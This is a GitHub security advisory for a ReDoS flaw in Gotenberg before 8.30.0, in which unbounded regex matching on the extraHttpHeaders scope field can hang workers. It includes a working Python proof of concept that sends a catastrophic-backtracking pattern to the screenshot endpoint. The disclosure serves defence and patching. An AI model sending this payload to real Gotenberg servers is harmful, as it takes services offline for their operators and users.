GHSA-fmwg-qcqh-m992 Gotenberg Vulnerable to ReDoS via extraHttpHeaders scope feature

• Go github.com/gotenberg/gotenberg/v8: < 8.30.0 → fixed in 8.30.0

Summary Gotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns without setting a proper timeout. Users with access to features using this logic can hang workers indefinitely. Details Gotenberg uses `dlclark/regexp2` to compile user-supplied scope patterns (gotenberg/pkg/modules/chromium/routes.go:200) with no MatchTimeout set, therefore using the default of math.MaxInt64 = "forever". For example, any user with access to the endpoint `/forms/chromium/screenshot/url` can add a crafted scope pattern to the `extraHttpHeaders` form field using a nested quantifiers that causes infinite backtracking, hanging the Gotenberg worker indefinitely. See the dlclark/regexp2 README.md for further considerations. Tested on the latest container version gotenberg/gotenberg:8.29.1 PoC The following Python script uses the `/forms/chromium/screenshot/url` endpoint, testing for differences in responses times between simple and malicious regexes. ```python !/usr/bin/env -S uv run --script /// script requires-python = ">=3.12" dependencies = [ "requests", ] /// import json import time import requests HOST = "localhost:3000" HOST = "gotenberg.local:3000" def send_request(host: str, headers_dict: dict, label: str, timeout: int = 30): """Send a screenshot request to Gotenberg and measure response time.""" url = f"http://{host}/forms/chromium/screenshot/url" print(f"\n[*] {label}") print(f" extraHttpHeaders: {json.dumps(headers_dict)}") start = time.time() try: r = requests.post( url, data={ "url": "http://api.service:3000/snapshot/", "extraHttpHeaders": json.dumps(headers_dict), }, files={"a": "b"}, timeout=timeout, ) elapsed = time.time() - start print(f" Status: {r.status_code}, Size: {len(r.content)}, Time: {elapsed:.2f}s") except requests.exceptions.Timeout: elapsed = time.time() - start print(f" TIMEOUT after {elapsed:.2f}s — Gotenberg worker is hung (ReDoS confirmed)") except requests.exceptions.ConnectionError as e: elapsed = time.time() - start print(f" CONNECTION ERROR after {elapsed:.2f}s: {e}") def main(): # --- Test 1: Baseline --- send_request(HOST, {"X-Test": "baseline"}, "Baseline: no scope") # --- Test 2: Simple scope --- send_request(HOST, {"X-Test": "value; scope=.*"}, "Simple scope: '.*'") # --- Test 3: ReDoS scope --- # Classic evil pattern: nested quantifiers on overlapping character class. evil_pattern = r"([a-zA-Z0-9.:/_]+)+\!" send_request( HOST, {"X-Test": f"value; scope={evil_pattern}"}, f"ReDoS scope: '{evil_pattern}'", timeout=15, ) if __name__ == "__main__": main() ``` Impact This is a ReDoS vulnerability which only impacts the availability of the service and/or server on which gotenberg is running. All instances where attackers can reach the `/forms/chromium/screenshot/url` endpoint specifing the `extraHttpHeaders` field are affected.